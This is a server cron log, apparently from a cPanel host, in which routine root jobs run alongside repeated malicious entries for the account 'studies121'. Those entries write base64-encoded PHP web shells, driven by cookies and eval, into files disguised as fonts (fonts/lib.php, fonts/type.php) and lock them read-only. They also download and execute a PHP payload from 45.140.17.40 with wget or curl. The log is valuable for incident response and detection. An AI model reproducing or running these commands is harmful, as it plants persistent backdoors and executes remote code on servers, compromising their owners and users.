Sep 22 13:31:01 ip-184-168-122-23 CROND[9583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:31:01 ip-184-168-122-23 CROND[9582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:31:01 ip-184-168-122-23 CROND[9584]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 13:32:01 ip-184-168-122-23 CROND[9888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:32:01 ip-184-168-122-23 CROND[9891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:32:01 ip-184-168-122-23 CROND[9892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:32:01 ip-184-168-122-23 CROND[9890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:32:01 ip-184-168-122-23 CROND[9893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:33:01 ip-184-168-122-23 CROND[10197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:33:01 ip-184-168-122-23 CROND[10195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:33:01 ip-184-168-122-23 CROND[10196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:33:01 ip-184-168-122-23 CROND[10200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:34:01 ip-184-168-122-23 CROND[10546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:34:01 ip-184-168-122-23 CROND[10547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:34:01 ip-184-168-122-23 CROND[10551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:34:01 ip-184-168-122-23 CROND[10555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:34:01 ip-184-168-122-23 CROND[10556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:35:01 ip-184-168-122-23 CROND[11353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:35:01 ip-184-168-122-23 CROND[11355]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 13:35:01 ip-184-168-122-23 CROND[11357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:35:01 ip-184-168-122-23 CROND[11359]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 13:35:01 ip-184-168-122-23 CROND[11358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:35:01 ip-184-168-122-23 CROND[11360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:35:01 ip-184-168-122-23 CROND[11356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:35:01 ip-184-168-122-23 CROND[11361]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:36:01 ip-184-168-122-23 CROND[12139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:36:01 ip-184-168-122-23 CROND[12141]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:36:01 ip-184-168-122-23 CROND[12140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:36:01 ip-184-168-122-23 CROND[12144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:36:01 ip-184-168-122-23 CROND[12149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:37:01 ip-184-168-122-23 CROND[12627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:37:01 ip-184-168-122-23 CROND[12628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:37:01 ip-184-168-122-23 CROND[12626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:37:01 ip-184-168-122-23 CROND[12632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:38:01 ip-184-168-122-23 CROND[13022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:38:01 ip-184-168-122-23 CROND[13023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:38:01 ip-184-168-122-23 CROND[13024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:38:01 ip-184-168-122-23 CROND[13027]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:38:01 ip-184-168-122-23 CROND[13029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:39:02 ip-184-168-122-23 CROND[13392]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:39:02 ip-184-168-122-23 CROND[13395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:39:02 ip-184-168-122-23 CROND[13393]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 13:39:02 ip-184-168-122-23 CROND[13394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:39:02 ip-184-168-122-23 CROND[13396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:40:01 ip-184-168-122-23 CROND[15077]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 13:40:01 ip-184-168-122-23 CROND[15082]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 13:40:02 ip-184-168-122-23 CROND[15085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:40:02 ip-184-168-122-23 CROND[15089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:40:02 ip-184-168-122-23 CROND[15088]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 13:40:02 ip-184-168-122-23 CROND[15090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:40:02 ip-184-168-122-23 CROND[15091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:40:02 ip-184-168-122-23 CROND[15092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:41:01 ip-184-168-122-23 CROND[16689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:41:01 ip-184-168-122-23 CROND[16691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:41:01 ip-184-168-122-23 CROND[16692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:41:02 ip-184-168-122-23 CROND[16693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:42:01 ip-184-168-122-23 CROND[17564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 13:42:01 ip-184-168-122-23 CROND[17567]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 13:42:01 ip-184-168-122-23 CROND[17565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 13:42:01 ip-184-168-122-23 CROND[17568]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 13:42:01 ip-184-168-122-23 CROND[17566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:43:01 ip-184-168-122-23 CROND[18366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 13:43:01 ip-184-168-122-23 CROND[18367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
